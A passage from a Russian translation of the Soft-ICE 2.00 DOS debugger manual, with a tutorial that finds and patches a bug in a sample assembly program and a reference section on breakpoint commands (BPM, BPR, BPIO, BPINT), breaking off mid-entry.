Параметр /SYM 50 указывает Soft-ICE резервировать 50 килобайтов расширенной
памяти для символов и файла с исходным текстом. Этого недостаточно для решения
реальных задач, но будет работать с нашей программой-примером.
Вы должны перезагрузить вашу систему после помещения этой строки в CONFIG.SYS.
Когда вы перезагрузите вашу систему, Soft-ICE выведет информацию об авторских
правах, регистрационный номер, имя владельца этой копии Soft-ICE
и количество расширенной памяти, зарезервированной для каждой компоненты
Soft-ICE. В системе с 384КБ расширенной памяти начальный экран
напоминает следующий:
Soft-ICE Ваше имя Название вашей компании # SInnnnnn
Copr. (C) Nu-Mega Technologies 1987-1989 All Rights Reserved Soft-ICE
Version 2.00 Soft-ICE is loaded from 00132000H up to 00160000H. 50K of
symbol space reserved. 10K of back trace space reserved. 200 K of extended
memory available.
Сообщение "Soft-ICE загружен ..." указывает вам точную область
памяти, которая занята Soft-ICE и его компонентами. Если у вас
Compaq или клон Compaq и включено слово COMPAQ в ваш файл S-ICE.DAT,
вы также увидите сообщение : "Using high memory from XXXXXXXX to
00FE0000H".
Следующая строка сообщает, сколько памяти было зарезервировано под символы.
Эта память используется для символов и файлов с исходными текстами.
Следующая строка сообщает, сколько памяти было зарезервировано для истории
обратной трассировки. По умолчанию резервируется 10КБ. Эта область памяти
используется командой SNAP и командой BPR с опциями T или TW.
Последняя строка сообщает вам, сколько памяти оставлено под обычную расширен-
ную память. Эта память может использоваться другими программами, типа HIMEM,
SMARTDRIVE, VDISK и т.д.
Перейдите в директорию вашего жесткого диска, в которую вы поместили все
файлы с вашей дистрибутивной дискеты. Помните, что этот каталог должен быть
доступен через переменную PATH.
Прежде чем начинать тяжелую отладку, давайте вызовем окно Soft-ICE и
произведем его проверку.
Очистите экран, введя:
CLS
Вызовите окно Soft-ICE, нажав:
CTRL D
Теперь окно Soft-ICE - на экране. Если ваш файл S-ICE.DAT доступен
через переменную PATH, то окно Soft-ICE будет занимать весь экран. Он
будет разделен на четыре части. Сверху вниз эти части :
окно регистров, окно данных, окно
кода и окно команд. Если S-ICE.DAT не был найден, у вас будет маленькое окно
в центре экрана. Это также означает, что другие компоненты, необходимые для
обучающей части, не были загружены.
Если видимо маленькое окно, вы должны:
1. Выйти из Soft-ICE, введя X.
2. Выгрузить Soft-ICE, введя S-ICE /U.
3. Скопировать файл S-ICE.DAT с дистрибутивной
дискеты в каталог, доступный через существующую
переменную PATH.
4. Повторно начать демонстрационный пример.
Сейчас мы перейдем к маленькому окну. Маленькое окно очень
удобно для использования Soft-ICE в дополнение к другому отладчику.
Введите:
WIN
Это приведет к появлению маленького окна команд в центре экрана вместо большо-
го. На этом экране видно несколько команд Soft-ICE. Это - остатки строки
инициализации из S-ICE.DAT, которые первоначально установили Soft-ICE в
полноэкранный режим.
Вы заметите символ стимула (:) и строку состояния в нижней части
окна.
Окно Soft-ICE может перемещаться относительно экрана, так же может быть
отрегулирован размер окна.
Переместите окно по экрану, нажимая:
CTRL стрелка вверх-- перемещает окно на одну строку вверх
CTRL стрелка вниз -- перемещает окно на одну строку вниз
CTRL стрелка вправо -- перемещает окно на одну позицию вправо
CTRL стрелка влево -- перемещает окно на одну позицию влево
Измените размер окна так, чтобы оно заполнило весь экран,
введя:
WIN
Вы увидите, что восстановился первоначальный экран.
Вернитесь к маленькому окну, снова введя
WIN.
Сделайте окно выше или ниже, нажимая:
ALT стрелка вверх -- делает окно выше
ALT стрелка вниз -- делает окно ниже
Теперь представьте, что происходит, когда вы - перед новой программой и точно
не знаете, что делать дальше -- вы просите помощи.
Получите помощь, введя:
?
Обратите внимание, что вывод на экран прекращается до нажатия любой клавиши
прежде чем прокрутить информацию по экрану. Посмотрите на строку состояния в
в нижней части окна. В строке состояния выведены инструкции: "Любая клавиша -
продолжение, ESC - отмена". Теперь нажмите любую клавишу, для продолжения вы-
вода информации помощи. Продолжайте нажимать клавишу до повторного появления
стимула (:).
Прокрутите информацию помощи назад, нажав
SHIFT стрелка вниз
Выведенная ранее информация может прокручиваться в окне команд при помощи
клавиш shift вверх, shift вниз, page up и page down. Попробуйте разные
клавиши для перемещения по информации помощи.
Средство помощи Soft-ICE дает вам краткий обзор каждой команды. Если
вы введете знак вопроса (?) сопровождаемый названием команды, вы увидите
экран, показывающий синтаксис команды, краткое описание команды
и пример.
Попробуйте поэкспериментировать с помощью, вводя команды в
следующем формате:
? команда
Например,
? ALTKEY
Если вы запутались, обратите внимание на сообщения в строке состояния в нижней
части экрана.
Команда помощи также позволяет вам вычислять шестнадцатеричные выражения.
Например, введите:
? 10*2+42
Результирующий экран показывает вам значение выражения, сначала в
шестнадцатеричном, потом десятичном, а потом в
ASCII - представлении:
0062 00098 "b"
Мы вызвали окно комбинацией клавиш CTRL D. Некоторых это устраивает, но вы
можете предпочесть использовать другую комбинацию клавиш.
Теперь введем команду, чтобы изменить комбинацию клавиш, требуемую для вызова
окна. Мы сделаем это шаг за шагом, так чтобы вы привыкли к строке состояния
в нижней части окна.
Введите букву "A". Строка состояния покажет список всех
команд, начинающихся с буквы "A". Завершите
ввод слова "ALTKEY". Строка состояния теперь
покажет короткое описание команды ALTKEY
Нажмите "пробел". Строка состояния теперь покажет
требуемый синтаксис для команды ALTKEY. Наберите
буквы "ALT D" потом нажмите ВВОД, чтобы ввести полную
команду:
ALTKEY ALT D
Вы только что изменили комбинацию клавиш для вызова окна на ALT D. С этого
времени вы должны нажать клавиши ALT D, чтобы вызвать окно. Так и оставим
это во всей оставшейся обучающей части.
Теперь давайте проверим предыдущую команду.
Для выхода из окна, введите:
ALT D
Окно Soft-ICE только что исчезло.
Чтобы вернуться в окно Soft-ICE, отпустите клавишу ALT,
а потом нажмите:
ALT D
Окно восстановилось.
Для просмотра предыдущих команд, нажмите:
клавишу стрелка вверх несколько раз.
Имейте в виду, что Soft-ICE помнит команды, которые были введены. Попробуйте
отредактировать одну просто для забавы. Вот некоторые клавиши редактирования:
INS -- переключает режим вставки
DEL -- Удаляет один символ
HOME -- Перемещает курсор в начало строки
END -- Перемещает курсор в конец строки
стрелка вправо -- Перемещает курсор на символ вправо
стрелка влево -- Перемещает курсор на символ влево
Имейте в виду, что когда включен режим вставки, курсор принимает форму блока.
Теперь, когда вы немного знакомы с окружением, давайте, попробуем некоторые
другие команды.
Сотрите команду, которую вы редактировали, нажав
клавишу HOME, потом нажимая клавишу DEL пока
команда не исчезнет.
Введите:
WR
Команда WR делает видимым окно регистров. Окно регистров
показывает содержимое регистров 8086. Заметьте что значения регистров
отражают местоположение, где выполнялся код, когда вы вызвали
Soft-ICE.
Команда WR назначена в файле инициализации Soft-ICE, S-ICE.DAT
на функциональную клавишу F2.
Нажмите клавишу F2 несколько раз, и вы увидите, как
включается/выключается окно регистров. Оставьте окно
регистров видимым.
Увеличьте вертикальный размер окна Soft-ICE, держа
нажатыми ALT и , пока окно не займет весь экран.
Запомните значения регистров CS и IP в окне
регистров, потом введите:
MAP
Команда MAP покажет карту памяти системы. Область текущего указателя
инструкций (CS:IP) будет подсвечена. Если у вас сложная карта памяти,
вам может быть придется несколько раз нажать клавишу, пока вновь не появится
командная строка.
Теперь попробуйте следующую последовательность несколько раз, запоминая
регистры (CS:IP) в окне регистров.
ALT D
Отпустите ALT и D
ALT D
Каждый раз при возвращении в окно Soft-ICE, вы будет замечать что
регистры CS и IP изменились. Когда CS и IP изменились, вы может ввести
команду MAP снова и посмотреть, показывает ли теперь указатель инструкций
на другую область.
Это небольшое упражнение демонстрирует, что Soft-ICE является отладчиком
системного уровня, который всплывает по горячей комбинации клавиш Soft-ICE,
куда бы ни показывал указатель инструкций. Указатель инструкций непрерывно
меняется, потому что выполняется множество команд между вызовами, даже когда
вы - в командной строке DOS, типа прерываний таймера, работы драйверов
устройств DOS, занятости DOS при ожидании других прерываний и т.д.
Нажмите функциональную клавишу F12.
Функциональной клавише F12 по умолчанию назначена команда VER.
Она выводит сообщение об авторских правах на Soft-ICE и номер версии.
Теперь мы назначим функциональной клавише F12 команду RS.
Введите:
RS
Она временно покажет экран программы без окна Soft-ICE.
Нажмите "пробел", чтобы вернуться в окно
Soft-ICE.
Введите:
FKEY F12 RS;
Это назначает команду RS на клавишу F12. Точка с запятой заменяет
клавишу ВВОД.
Нажмите клавишу F12.
Повторите это несколько раз для переключения между окном Soft-ICE и
экраном программы. Теперь удостоверьтесь, что выведено окно Soft-ICE,
при необходимости, нажав клавишу F12. Вы заметите, что RS выведен в окне
несколько раз. Одно появление на экране команды RS соответствует одному
нажатию клавиши F12, чтобы показать экран программы.
Очистите окно Soft-ICE, введя:
CLS
Введите:
FKEY F12 ^RS;
символ (^) - shift + 6. Это назначит команду RS клавише F12,
но сделает эту команду невидимой.
Нажмите клавишу F12 несколько раз. Заметьте что команда
RS больше не выводится в окне Soft-ICE.
Вы также можете назначать функциональной клавише последовательность команд.
Не забывайте ставить знак возврата каретки между командами.
Теперь давайте подготовимся использовать Soft-ICE в дополнение к утилите
MS-DOS DEBUG.
Уберите окно регистров, нажав F2.
Потом сократите размер окна до приблизительно 6 строк
используя ALT .
Введите:
ACTION INT3
Эта команда заставляет Soft-ICE сгенерировать int 3 при выполнении условий
точки останова. Таким образом, Soft-ICE будет взаимодействовать с DEBUG.
Установка по умолчанию - HERE. ACTION HERE будет заставлять возвращать
управление непосредственно Soft-ICE. Используйте ACTION HERE при работе с
Soft-ICE как с автономным отладчиком.
Тем, кто не использует DEBUG с этой обучающей частью, теперь возможно придется
импровизировать. CODEVIEW работает с ACTION установленным на NMI. Большинство
других отладчиков будет работать с ACTION INT3. Если ваш отладчик не делает
этого и вам необходима помощь для импровизации, обратитесь к полному
описанию ACTION (см. часть 5.4).
Для того чтобы снова убрать окно Soft-ICE, введите:
X
Это - альтернативный метод для выхода из Soft-ICE. Это особенно
полезно при переопределениях функциональных клавиш.
Теперь, когда вы знакомы с некоторыми из азов использования Soft-ICE, давайте
вникнем в некоторые детали, отлаживая программу-пример (SAMPLE.ASM).
SAMPLE.ASM - простая программа, написанная на Ассемблере
программистом по имени Jed. Программа читает нажатия клавиш из DOS и выводит
сообщение, говорящее был ли нажат пробел.
Для запуска программы SAMPLE, введите:
SAMPLE
Теперь нажмите "пробел".
Нажмите несколько клавиш. Очевидно у программы Jed'а
проблемы! Jed потратил часы, изучая этот исходный код, и уверен, что в его
логике нет никаких недостатков. Однако, Jed позаимствовал несколько
вспомогательных подпрограмм у его друга Jake'а (get_key, is_space?). Jed
немного подозревает эти подпрограммы, но не может найти ошибку.
Исходный код программы Jed'а выглядит следующим образом:
Page 55,80
Title Пример программы для обучающей части Soft-ICE
DATA Segment Public 'Data'
pad db 12H dup(O)
char db 0
answer db 0
space_msg db 'Был нажат ПРОБЕЛ',0DH,0AH,'$'
no_space_msg db 'Введенный символ - НЕ '
db 'ПРОБЕЛ',0DH,0AH,'$'
DATA Ends
STACK Segment Stack 'Stack'
Dw 128 Dup (?) ;Стек программы
STACK Ends
CODE Segment Public 'Code'
Assume CS:CODE,DS:DATA,ES:Nothing,SS:STACK
start:
; Устанавливаем сегменты
mov ax,DATA
mov es,ax
mov ds,ax
; Основной цикл программы
main_loop:
call get_key
call is_space?
cmp answer,0
je no_space
; Это пробел, выводим сообщение о пробеле
mov ah,9
mov dx,offset space_msg
int 21H
jmp main_loop
; Это НЕ пробел, выводим сообщение об отсутствии пробела
no_space:
mov ah,9
mov dx,offset no_space_msg
int 21H
jmp main_loop
;----------------------------------------------------------;
; ПОДПРОГРАММЫ JAKE'а
;----------------------------------------------------------;
; Подпрограмма Get Key (одна из подпрограмм Jake'а)
get_key proc
mov ah,8
int 21H
mov char,al
ret
get_key endp
; Проверка, является ли символ пробелом (одна из подпрограмм Jake'а)
is_space? proc
cmp char,20H
jne not_space
mov answer,1
ret
not_space:
mov cs:answer,0
ret
is_space? endp
CODE Ends
End start
Jed использовал DEBUG, но не был способен решить проблему с его помощью. По
рекомендации его племянника Jethro, Jed купил Soft-ICE. Он немного сомневался
в необходимости этого, потому что он уже пытался использовать отладчик
аппаратного уровня, но так и не смог заставить его правильно работать. Он
хотел попробовать Soft-ICE, потому что он мог бы продолжать использовать DEBUG
- единственный отладчик, с которым он действительно умеет работать.
Нажмите CTRL C, чтобы выйти из программы.
Введите следующие команды:
DEBUG диск:\путь\SAMPLE.EXE
U
R
За часы, которые Jed потратил, пытаясь найти эту неуловимую ошибку, он понял,
что что-то непонятным образом записывается поверх его кода. Jed решает при
помощи Soft-ICE установить точку останова на диапазон его сегмента кода.
Нажмите:
ALT D
Окно Soft-ICE вернулось. Переместите окно (с использованием
CTRL и клавиш стрелок), пока не будет виден экран регистров
DEBUG. Настало время установить нашу первую точку останова.
Введите:
BPR сег. кода:0 сег. кода:25 W
Сег. кода - значение в регистре CS, показываемое
при помощи команды R в DEBUG.
Команда BPR устанавливает точку останова на диапазон памяти. Длина сегмента
кода Jed'а - 25H байт, так что указанный диапазон памяти продолжается от
начала его кода до конца. W сообщает Soft-ICE останавливаться при записи
в этот диапазон. Мы хотим перехватить любую неожиданную запись в код Jed'а.
Введите:
BL
Команда BL покажет все точки останова. Вывод после команды BL
выглядит следующим образом:
0) BPR сег. кода:0000 сег. кода:0025 W C = 01
0 - идентификатор этой точки останова. Диапазон и W
показаны, так как были введены, а счетчик (так как он не был определен)
по умолчанию равен 1.
Теперь настал момент истины.
Нажмите ALT D.
Окно снова исчезает.
Чтобы запустить SAMPLE из DEBUG, введите:
G
Нажмите "пробел". Пока все Ok. Теперь нажмите непробельную
клавишу.
Наша точка останова только что пробудила DEBUG. Выведены регистры и
одна дизассемблированная инструкция.
Введите:
U cs:адрес
Адрес - значение регистра IP минус 10 (шестнадцатеричное). Так как DEBUG
довольно примитивен, значение регистра IP минус 10 должно быть рассчитано
вручную. Указатель инструкции указывает на инструкцию, следующую за той,
которая активизировала точку останова. Возвратом на десять (шестнадцатеричных)
байт мы синхронизируем DEBUG с нужной нам инструкцией.
Инструкция по смещению 3BH:
CS:
MOV BYTE PTR [13],0
Jed говорит, "Вот оно! Я так и знал, что проблема была во вспомогательных
подпрограммах Jake'а! Инструкция выходящая за его сегмент кода записывает
нулевой байт прямо в мой код! Кто мог об этом знать!"
Введите:
U 0
Местоположение 13H должно являться смещением инструкции условного перехода.
Относительное смещение условного перехода устанавливается в ноль. Если вы
являетесь гуру в 8086, вы, очевидно, знаете, что JE НИКОГДА не сработает,
если относительное смещение - ноль. Какая тонкая ОШИБКА!
Теперь давайте разберемся, как эта проблема была бы решена при использовании
Soft-ICE как автономного отладчика. Но сначала мы должны выйти из DEBUG.
Перед выходом из отладчика будет неплохо дезактивировать все точки останова,
если ACTION не установлена на HERE. Если вы это не сделаете, то когда
выполнится останов и ACTION попробует вернуться к отладчику, который не
загружен, результаты будут непредсказуемы. Мы изменили ACTION на INT3,
следовательно, мы должны отменить точку останова.
Для вызова окна введите:
ALT D
Просмотрите список точек останова, введя:
BL
Обратите внимание, что строка описания точки останова выделена.
Выделенная точка останова - последняя выполненная точки останова.
Заметьте, что номер точки останова - 0. Для дезактивации
точки останова с номером ноль, введите:
BD 0
Снова просмотрите список точек останова, введя:
BL
Звездочка (*) после номера точки останова покажет, что точка останова
неактивна.
Чтобы удалить точку останова, введите:
BC 0
Снова введите BL.
Обратите внимание, что не выведено ни одной строки с точками останова.
Выйдите из Soft-ICE, а потом из отладчика,
введя:
X
Q
Следующий раздел обучающей части демонстрирует, как Soft-ICE может
использоваться для решения той же самой проблемы как автономный отладчик.
Soft-ICE будет использоваться как отладчик на уровне исходного текста.
Для подготовки Soft-ICE производить отладку на уровне исходного текста,
он должен быть установлен в вашем файле CONFIG.SYS и часть расширенной памяти
должна быть занята для символов и файлов с исходными текстами. Soft-ICE может
использоваться как отладчик на уровне исходного текста, только если в вашей
системе есть расширенная память. Если у вас нет
расширенной памяти вы все равно можете прочитать остаток обучающей части,
чтобы увидеть возможности Soft-ICE с расширенной памятью. Если вы не загрузили
S-ICE.EXE в ваш файл CONFIG.SYS с памятью, зарезервированной для символов,
сделайте это сейчас.
Для отладки программы-примера Soft-ICE как автономным отладчиком мы
должны использовать загрузчик программ Soft-ICE (LDR.EXE). Чтобы загрузить
пример программы (SAMPLE.EXE), файл символов (SAMPLE.SYM) и файл с исходным
текстом (SAMPLE.ASM), введите:
LDR SAMPLE
Теперь вы - в Soft-ICE с SAMPLE.EXE, загруженным в память. Заметьте
что Soft-ICE занимает весь экран. Soft-ICE переключается в полноэкранный
режим всякий раз, когда загружается программа. Исходный текст из SAMPLE.ASM
должен быть виден в окне кода. Кроме того, видимы окно регистров и окно
данных.
Выполните одну инструкцию, нажав F10.
Обратите внимание, что видео курсор перемещается на следующую инструкцию,
которая будет выполнена на следующем шаге программы.
Нажмите F6.
Это переместит курсор в окно кода.
Теперь поэкспериментируйте с клавишами , , PageUp и
PageDn, для перемещения курсора и прокрутки
исходного файла.
Переместите курсор до 42 строки с клавишей .
Нажмите F9.
Мы только что установили точку останова при выполнении на строку 42. Строка
должна выделиться, показывая, что точка останова установлена.
Введите:
BL
Это покажет точку останова, которую мы только что установили.
Теперь нажмите ALT D.
Произойдет выход из Soft-ICE, выполнение программы-примера, пока не произойдет
останов в строке 42. Soft-ICE должен немедленно восстановиться, с выделенным
видео курсором на строке 42.
Снова нажмите F6.
Это вернет курсор в командное окно. Теперь введите:
BC *
Это уничтожит все точки останова (хотя должна быть установлена только одна).
Теперь выйдете из Soft-ICE, нажав ALT D.
Вы вернулись к программе-примеру. Нажмите несколько клавиш, чтобы
удостовериться, что она все еще не работает.
Теперь вызовите Soft-ICE при помощи ALT D.
Так как ошибка уже произошла, мы хотим повторно начать программу. Введите:
EXIT RD
Эта команда принудительно завершает программу-пример. R сообщает Soft-ICE о
необходимости восстановить векторы прерываний в состояние, в котором они были
когда была загружена LDR'ом программа-пример. D сообщает Soft-ICE о
необходимости удалять все активные точки останова. R и D необязательны в этом
случае, но неплохо будет выработать привычку к их указанию при выходе из
программы, загруженной LDR.EXE.
Теперь вы вернулись к командной строке DOS. Загрузите программу,
снова введя:
LDR SAMPLE.EXE
Заметьте, что сейчас было введено расширение .EXE. Когда указано расширение,
Soft-ICE не пытается загружать файл символов или файл с исходным текстом.
В нашем случае файлы символов и исходного текста уже - в памяти.
Введите:
SYM
Будут выведены все публичные символы программы-примера.
Нажмите Esc, чтобы вернуться к командной строке.
Теперь установим точку останова на диапазон, такую же, как мы устанавливали
когда использовали Soft-ICE как дополнение к отладчику. На этот раз мы будем
использовать символы, чтобы установить точку останова. Введите:
BPR START .82 W
Это установит точку останова на диапазон на наш сегмент кода от символа
START до 82 строки исходного файла.
Введите:
BL
Вы можете проверить, что точка останова установлена должным образом.
Нажмите ALT D.
Нажмите непробельную клавишу.
Мы вернулись в Soft-ICE. Заметьте что текущая инструкция (строка с
инвертированным видео курсором) - инструкция, идущая после той, что вызвала
останов.
Чтобы увидеть фактический код нажмите клавишу F3.
Это переводит Soft-ICE в смешанный режим. Заметьте, что видео курсор покрывает
2 строки. Это - фактическая строка кода и строка кода из исходного файла
с текущей инструкцией.
Еще раз нажмите клавишу F3.
Сейчас мы - в режиме кода. Никакие исходные строки не видны. Инструкция,
находящаяся выше инвертированного видео курсора - инструкция, вызвавшая
останов на диапазон.
Нажмите клавишу F3 еще раз, чтобы вернуться к режиму исходного текста.
Теперь исправим ошибку в программе-примере.
Выйдите из программы и вернитесь в командную строку DOS,
введя:
EXIT RD
Загрузите программу снова, введя:
LDR SAMPLE.EXE
Установите окно кода в режим кода, дважды нажав
клавишу F3.
дизассемблируйте неправильную подпрограмму, введя:
U not_space
Сейчас мы используем интерактивный ассемблер Soft-ICE, чтобы решить проблему.
Введите:
A not_space
Soft-ICE выдаст в своей командной строке адрес.
Введите:
NOP
Нажмите ВВОД для выхода из ассемблера.
Обратите внимание, что в окне кода появилась инструкция NOP вместо
перекрытия CS по смещению 003BH.
Нажмите клавишу F3, чтобы вернуться к режиму исходного текста, (исходный
код, конечно, не изменился).
Нажмите ALT D, чтобы запустить исправленную программу-пример.
Нажмите:
Пробел и несколько непробельных клавиш
Работает! Вы исправили ошибку!
Для выхода из программы Jed'а и возврата в DOS, введите:
CTRL C
Теперь мы продемонстрируем другую особенность Soft-ICE.
Введите:
LDR SAMPLE.EXE
Это загрузит программу-пример еще раз.
Введите:
RIP HANG_EXAMPLE
Первые две показанных инструкции:
CLI
JMP $
Обратите внимание, что инструкция перехода указывает сама на себя. Этот
бесконечный цикл обычно необратимо завешивает систему.
Введите:
BREAK ON
Мы только что включили режим BREAK. Режим BREAK заставит систему
работать немного медленней, но позволит Soft-ICE активизироваться даже когда
система в нормальных условиях считается зависшей.
Выйдите из Soft-ICE, нажав ALT D.
Ваша система теперь зависла. Для неверующих, нажмите:
CTRL ALT DEL
Ничего не случилось! Она определенно зависла.
Теперь нажмите ALT D.
Окно Soft-ICE - вернулось!
Чтобы выйти из бесконечного цикла, введите:
EXIT RD
Сейчас вы вернулись в DOS. Попробуйте произвести какие-нибудь действия, чтобы
почувствовать снижение производительности. Много людей считают удобным
оставлять BREAK ON как конфигурацию по умолчанию.
Отключите режим BREAK, введя:
ALT D
BREAK OFF
ALT D
Сделайте что-нибудь, чтобы сравнить скорость.
Вот и все! Веселитесь! Настало время начать экспериментировать и отлаживать
ваши собственные программы. Просмотрите оставшуюся часть руководства и
при необходимости обратитесь к специфическим разделам.
РАЗДЕЛ II -- Команды
Раздел II содержит списки синтаксиса для каждой команды Soft-ICE и
объяснения и примеры для каждой команды. Все числа находятся в
шестнадцатеричном формате; любое число может быть выражением с использованием
+,-,/,* или регистров. Все команды нечувствительны к регистру букв. Слова,
выделенные курсивом в выражениях синтаксиса команд должны быть заменены
фактическими значениями, вместо их ввода курсивом.
В этой части везде используются следующие письменные условные обозначения:
[] -- Скобками выделяется необязательный пункт синтаксиса.
< > -- Угловыми скобками выделяется список пунктов
или вариантов.
x | y -- Вертикальной чертой разделяются альтернативы.
Используйте или пункт x или пункт y.
count -- Счетчик - байтовое значение, которое определяет
количество случаев возникновения условий останова, которое
должен быть пропущено перед фактической точкой останова.
Если счетчик не определен, принимается
значение по умолчанию 1. Каждый раз как
вызывается окно Soft-ICE'а, значения
счетчика переустанавливаются на первоначально указанные
значения.
verb -- Опция - значение, определяющее на какой тип
доступа будет настроена точка останова. Он
может быть установлен на "R" для чтения, "W" для записи,
"RW" для чтения и записи или "X" для
выполнения.
address -- Адрес - значение, состоящее из двух 16-битных
слов, разделенных двоеточием. Первое
слово - адрес сегмента,
второе слово - смещение сегмента.
Адреса могут состоять из выражений с
регистрами и символов.
Адрес может также содержать специальные
символы "$", "." и "@". См. часть
3.8 (Синтаксис Команд) для описания
этих специальных символов.
break-number -- Номер останова - идентификационный номер, который
определяет точку останова, используемый
при управлении точками останова
(Например, их редактирование, удаление, активация или
дезактивация). Номером останова может
быть шестнадцатеричная цифра от 0 до F.
list -- Список - ряд номеров останова, разделенных
запятыми или пробелами.
mask -- Маска - битовая маска, представленная:
комбинацией единиц, нулей и X'ов. X'ы -
любые биты.
Пример:
BPIO 21 W EQ M 1XXX XXXX
Эта команда вызовет останов, который произойдет, если в порт
21H будет произведена запись набора битов в вышеуказанном порядке.
GT, LT -- GT и LT - определители команды
беззнакового сравнения значений.
ГЛАВА 4
Использование Команд Работы с Точками Останова
4.1 Введение
4.2 Установка Точек Останова
4.3 Управление Точками Останова
4.1 Введение
У Soft-ICE есть возможности работы с точками останова, обычно доступные
только в аппаратных отладчиках. Мощность и гибкость процессора 80386 дают
широкие возможности работы с точками останова без дополнительной аппаратуры.
Точки останова можно устанавливать на запись и чтение в ячейку памяти, запись
и чтение в диапазон (область) памяти, выполнение программы и доступ к портам.
Soft-ICE назначает одну шестнадцатеричную цифру (0-F) каждой точке останова.
Этот номер останова используется для обозначения точек останова, когда вы их
устанавливаете, удаляете, отменяете, восстанавливаете или редактируете.
Все точки останова Soft-ICE - "прилипающие". Это означает, что они не исчезают
автоматически после того, как они использовались; вы должны намеренно удалить
или отменить их, используя команды BC или BD.
Soft-ICE может поддерживать 16
точек останова одновременно. Вы можете устанавливать до десяти точек останова
отдельного типа, кроме точек останова на ячейку памяти (BPM'ов), которых может
быть только четыре, из-за ограничений процессора 80386.
Для точек останова может быть определен параметр - счетчик. Параметр - счетчик
сообщает Soft-ICE, сколько раз точка останова должна игнорироваться перед
произведением останова.
4.2 Установка Точек Останова
Команды:
BPM, BPMB, BPMW, BPMD -- Устанавливают точку останова на доступ к
памяти или выполнение
BPR -- Устанавливает точку останова на диапазон памяти
BPIO -- Устанавливает точку останова на доступ к порту ввода/вывода
BPINT -- Устанавливает точку останова на прерывание
BPX -- Устанавливает/отменяет точку останова на выполнение
CSIP -- Устанавливает точку останова на CS:IP
BPAND -- Ожидает срабатывания многих точек
останова
BPM, BPMB, BPMW, BPMD
BPM, BPMB, BPMW, BPMD -- Точка останова на доступ к памяти или выполнение
Синтаксис:
BPM[размер]адрес[опция][значение определителя][C=счетчик]
размер -- B, W, D
B -- Байт
W -- Слово
D -- Двойное Слово
Размер - диапазон, охватываемый
этой точкой останова. Например, если
используется двойное слово и третий
байт двойного слова изменен, то
произойдет останов. Размер также
важен, если указан необязательный
определитель (см. ниже).
опция -- R, W, RW или X
определитель -- EQ, NE, GT, LT, M
EQ -- Равно
NE -- Не Равно
GT -- Больше
LT -- Меньше
M -- Маска
Эти определители применимы только к
точкам останова на чтение и запись.
значение -- Значение размером байт, слово или двойное слово,
в зависимости от указанного размера.
Комментарии:
Команды BPM позволяют вам устанавливать точку останова на чтение или запись в
память или на выполнение.
Если опция не указана, по умолчанию принимается RW.
Если размер не определен, по умолчанию принимается байт.
Все типы опций, кроме X, вызывают выполнение программой
инструкции, которая вызвала останов.
Текущий CS:IP будет указывать
на следующую за точкой останова инструкцию. Если тип опции - X, текущий
CS:IP будет указывать на инструкцию, на которую устанавливали точку останова.
Если указан R, то останов будет происходить при доступе на чтение и на
операции записи, не изменяющие значение ячейки памяти.
Если тип опции - R, W или RW, выполнение инструкции по указанному
адресу не будет вызывать останова.
Замечание:
Если используется BPMW, указанный адрес должен начинаться на границе слова.
Если используется BPMD, адрес должен указывать на границу двойного слова.
Пример:
BPM 1234:SI W EQ 10 C=3
Эта команда определяет точку останова на доступ к байту
памяти. Останов произойдет, когда шестнадцатеричное число 10 будет
записано третий раз в ячейку 1234:SI.
BPM CS:1235 X
Эта команда определяет точку останова на выполнение.
Останов произойдет, когда в первый раз
будет достигнута инструкция по адресу CS:1235. Текущий CS:IP будет
указывать на инструкцию, на которую устанавливали точку останова.
BPMW DS:F00 W EQ M 0XXX XXXX XXXX XXX1
Эта команда определяет точку останова на запись слова в память. Останов
произойдет, когда первый раз в ячейку DS:F00 произойдет запись значения,
устанавливающая старший бит в 0 и младший бит в 1.
Другие биты могут принимать любое значение.
BPM DS:1000 W GT 5
Эта команда определяет точку останова на запись байта в память. Останов
произойдет когда первый раз в ячейку DS:1000 произойдет запись значения,
большего чем 5.
BPR
BPR -- Устанавливает точку останова на диапазон памяти
Синтаксис:
BPR адрес-начала адрес-конца [опция] [C=счетчик]
адрес-начала,
адрес-конца -- адрес начала и адрес конца определяют
диапазон памяти.
опция - R, W, RW, T или TW
Комментарии:
Команда BPR позволяет устанавливать точку останова на диапазон памяти.
Все типы опций, кроме T или TW, заставляют программу выполнять
инструкцию, вызвавшую останов. Текущий CS:IP будет указывать
на следующую за точкой останова инструкцию.
Это - не точка останова на выполнение. Если нужно, чтобы происходил останов
при выполнении в диапазоне, должен использоваться R. Для точек останова на
диапазон выполнение инструкции рассматривается как чтение.
Если опция не определена, по умолчанию принимается W.
Точка останова на диапазон будет, в известных обстоятельствах, снижать
производительность системы. Любое чтение или запись в пределах 4КБ страницы,
которая содержит диапазон точки останова, анализируется Soft-ICE. Это
снижение производительности обычно незаметно, но оно может быть очень большим
в исключительных случаях.
Опции T и TW дают возможность обратной прогонки в указанном диапазоне. Они
не вызывают останова, но вместо этого сохраняют информацию об инструкциях,
которая может быть выведена позже командами TRACE или SHOW. Для получения
большей информации об обратной трассировке, см. главу 9.
Пример:
BPR B000:0 B000:1000 W
Эта команда определяет точку останова на диапазон памяти.
Останов произойдет, если произойдет любая запись в
область видеопамяти монохромного адаптера.
BPIO
BPIO -- Устанавливает точку останова на доступ к порту ввода/вывода
Синтаксис:
BPIO порт [опция] [значение определителя] [C=счетчик]
порт -- Значение длиной в байт или слово
опция -- R, W или RW
R -- Чтение (IN)
W -- Запись (OUT)
определитель -- EQ, NE, GT, LT, M
EQ -- Равно
NE -- Не Равно
GT -- Больше
LT -- Меньше
M -- Маска
значение -- Значение длиной в байт или слово
Комментарии:
Команда BPIO позволяет устанавливать точку останова на чтение или запись в
порт ввода/вывода.
Если указано значение, оно сравнивается с фактически считываемыми или
записываемыми данными, вызвавшей останов, инструкцией IN или OUT. Значение
может быть байтом или словом. Если ввод/вывод происходит в байтовый порт, при
сравнении используются младшие 8 битов.
Указатель инструкции (CS:IP) будет указывать на следующую инструкцию за
вызвавшей останов инструкцией IN или OUT.
Если опция не определена, по умолчанию принимается RW.
Пример:
BPIO 21 W NE FF
Эта команда определяет точку останова на доступ к порту
ввода/вывода. Останов произойдет, если в регистр маски первого контроллера
прерываний будет записано значение,
отличное от FFH.
BPIO 3FE R EQ M 11XX XXXX
Эта команда определяет байтовую точку останова на чтение из порта
ввода/вывода. Останов произойдет при первом считывании из порта
ввода/вывода 3FE значения, у которого два старших бита установлены в 1.
Другие биты могут принимать любые значения.
BPINT
BPINT -- Устанавливает точку останова на прерывание
Синтаксис:
BPINT номер-прерывания [< AL | AH | AX >= значение] [C = счетчик]
номер-прерывания -- Номер прерывания из 0 - FF hex
значение -- Значение длиной в байт или слово
Комментарии:
Команда BPINT позволяет производить останов при выполнении аппаратного или
